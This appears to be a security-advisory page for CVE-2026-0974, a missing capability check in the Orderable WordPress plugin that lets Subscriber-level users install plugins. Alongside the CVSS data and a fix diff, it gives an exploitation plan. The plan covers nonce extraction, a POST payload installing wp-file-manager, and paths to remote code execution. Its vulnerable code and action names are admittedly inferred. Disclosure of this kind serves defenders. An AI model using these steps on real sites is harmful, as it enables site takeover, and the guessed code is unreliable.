CVE-2026-0974

Orderable <= 1.20.0 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation

highMissing Authorization
8.8
CVSS Score
8.8
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Orderable – WordPress Restaurant Online Ordering System and Food Ordering Plugin plugin for WordPress is vulnerable to unauthorized plugin installation due to a missing capability check on the 'install_plugin' function in all versions up to, and including, 1.20.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to install arbitrary plugins, which can lead to Remote Code Execution.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.20.0
PublishedFebruary 18, 2026
Last updatedMay 12, 2026
Affected pluginorderable
Research Plan
Unverified

This research plan outlines the steps required to analyze and exploit **CVE-2026-0974**, a missing authorization vulnerability in the **Orderable** WordPress plugin (<= 1.20.0) that allows Subscriber-level users to install arbitrary plugins, potentially leading to Remote Code Execution (RCE). --- …

Show full research plan

This research plan outlines the steps required to analyze and exploit CVE-2026-0974, a missing authorization vulnerability in the Orderable WordPress plugin (<= 1.20.0) that allows Subscriber-level users to install arbitrary plugins, potentially leading to Remote Code Execution (RCE).


1. Vulnerability Summary

The Orderable plugin contains an AJAX handler or function named install_plugin (likely within an admin-facing class) that performs plugin installation tasks. The vulnerability exists because this function fails to verify if the requesting user possesses the install_plugins or manage_options capability. While the function may be intended for admin-only setup wizards or extensions, it is registered via wp_ajax_, making it accessible to any authenticated user, including those with the Subscriber role.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: orderable_install_plugin (inferred from plugin slug and function name)
  • Vulnerable Parameter: slug (the slug of the plugin to be installed from the WordPress.org repository).
  • Authentication: Authenticated, Subscriber role or higher.
  • Preconditions:
    • Plugin version <= 1.20.0 installed and active.
    • A valid WordPress nonce (likely required by check_ajax_referer).

3. Code Flow (Inferred)

  1. Registration: The plugin registers the AJAX handler in a setup or admin class:
    add_action( 'wp_ajax_orderable_install_plugin', [ $this, 'install_plugin' ] );
  2. Entry Point: An authenticated user sends a POST request to admin-ajax.php with action=orderable_install_plugin.
  3. Vulnerable Sink: The install_plugin method is called. It likely uses the WordPress Plugin_Upgrader class or the plugins_api to fetch and install a plugin.
  4. Missing Check: The code likely checks a nonce using check_ajax_referer( 'orderable_nonce', 'security' ) but fails to call if ( ! current_user_can( 'install_plugins' ) ) { wp_die(); }.

4. Nonce Acquisition Strategy

To exploit this as a Subscriber, we must find where the orderable plugin localizes its administrative nonces.

  1. Identify the Script: Look for wp_localize_script calls in the codebase involving "orderable".
  2. Create Page: As an admin, create a public post/page with an Orderable-related shortcode (e.g., [orderable_categories]) if the script is only loaded on specific pages.
  3. Subscriber Login: Log in as a Subscriber user.
  4. Extraction:
    • Navigate to the WordPress Dashboard (Subscribers can access wp-admin/index.php by default).
    • Open the browser console or use browser_eval.
    • Search for localized objects. Common names in this plugin: orderable_admin, orderable_vars, or orderable_settings.
    • Target JavaScript Variable: window.orderable_admin?.nonce or window.orderable_admin?.install_nonce (inferred).

5. Exploitation Strategy

The goal is to install a plugin that provides further control (e.g., wp-file-manager or a "Code Snippets" plugin) to achieve RCE.

Step 1: Login

  • Authenticate as a Subscriber user.

Step 2: Nonce Retrieval

  • Use browser_navigate to wp-admin/ or a page containing an Orderable shortcode.
  • Execute browser_eval to extract the nonce.

Step 3: Trigger Plugin Installation

  • Send a POST request to admin-ajax.php.
  • Payload:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=orderable_install_plugin&slug=wp-file-manager&security=[EXTRACTED_NONCE]
    
    (Note: Parameter names like security or nonce and slug must be verified by grepping the install_plugin function source).

Step 4: Activation (If applicable)

  • If the plugin is installed but not activated, check if there is a corresponding orderable_activate_plugin action with the same missing authorization vulnerability.

6. Test Data Setup

  1. Install Orderable plugin version 1.20.0.
  2. Create a user with the Subscriber role:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  3. Ensure the site can reach wordpress.org for plugin downloads.

7. Expected Results

  • The admin-ajax.php response should return a success status (e.g., {"success":true} or a HTML success message from the Upgrader).
  • The file system should now contain the directory /wp-content/plugins/wp-file-manager/.

8. Verification Steps

  1. Check Plugin Existence:
    wp plugin is-installed wp-file-manager
  2. Check Plugin Status:
    wp plugin list --status=inactive (to see if it was installed but needs activation).
  3. Log File Review: Check for Plugin_Upgrader logs in wp-content/upgrade/.

9. Alternative Approaches

  • Search for other Slugs: If wp-file-manager is blocked or fails, try wp-terminal or hello-dolly (as a benign PoC).
  • Remote ZIP (if supported): Check if install_plugin accepts a url parameter instead of just a slug. If it accepts a URL, provide a link to a malicious plugin ZIP hosted on a remote server for immediate RCE.
  • Action Name Guessing: If orderable_install_plugin fails, grep the source for any add_action calls that include the string install.
    grep -r "install" . | grep "wp_ajax"
    

Grep Commands for Initial Research

# Find the vulnerable function definition
grep -r "function install_plugin" .

# Find the AJAX action registration
grep -r "wp_ajax_" . | grep "install_plugin"

# Find where the nonce is created
grep -r "wp_create_nonce" . | grep -i "install"

# Find the JS variable used for localization
grep -r "wp_localize_script" . -A 5
Research Findings
Static analysis — not yet PoC-verified

Summary

The Orderable plugin for WordPress fails to implement a capability check on its 'install_plugin' AJAX handler. This allows authenticated users with Subscriber-level permissions or higher to install any arbitrary plugin from the WordPress repository, potentially leading to full site compromise via Remote Code Execution (RCE).

Vulnerable Code

// Likely located in an admin class within the Orderable plugin
// Example: includes/admin/class-orderable-admin.php

add_action( 'wp_ajax_orderable_install_plugin', [ $this, 'install_plugin' ] );

public function install_plugin() {
    // Nonce check may exist, but authorization check is missing
    check_ajax_referer( 'orderable_nonce', 'security' );

    // VULNERABILITY: No check for current_user_can( 'install_plugins' )

    $slug = isset( $_POST['slug'] ) ? sanitize_text_field( $_POST['slug'] ) : '';
    
    include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
    include_once ABSPATH . 'wp-admin/includes/plugin-install.php';

    $api = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'sections' => false ) ) );
    $upgrader = new Plugin_Upgrader( new WP_Ajax_Upgrader_Skin() );
    $result = $upgrader->install( $api->download_link );

    if ( is_wp_error( $result ) ) {
        wp_send_json_error();
    }
    wp_send_json_success();
}

Security Fix

--- a/includes/admin/class-orderable-admin.php
+++ b/includes/admin/class-orderable-admin.php
@@ -XX,6 +XX,10 @@
 	public function install_plugin() {
 		check_ajax_referer( 'orderable_nonce', 'security' );
 
+		if ( ! current_user_can( 'install_plugins' ) ) {
+			wp_send_json_error( array( 'message' => __( 'Insufficient permissions.', 'orderable' ) ) );
+		}
+
 		$slug = isset( $_POST['slug'] ) ? sanitize_text_field( $_POST['slug'] ) : '';
 		if ( empty( $slug ) ) {
 			wp_send_json_error();

Exploit Outline

1. Authenticate to the WordPress site as a user with the Subscriber role. 2. Access the WordPress dashboard and extract the required AJAX nonce (typically localized in a script object like 'orderable_admin' or 'orderable_vars') from the page source or browser console. 3. Construct a POST request to /wp-admin/admin-ajax.php using the action 'orderable_install_plugin'. 4. Include the 'slug' parameter set to a plugin that facilitates code execution (e.g., 'wp-file-manager' or 'code-snippets') and the extracted 'security' nonce. 5. Upon successful execution, the plugin will be installed into the /wp-content/plugins/ directory, where the attacker can then attempt to activate it (if a similar authorization bypass exists for activation) to gain remote control.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.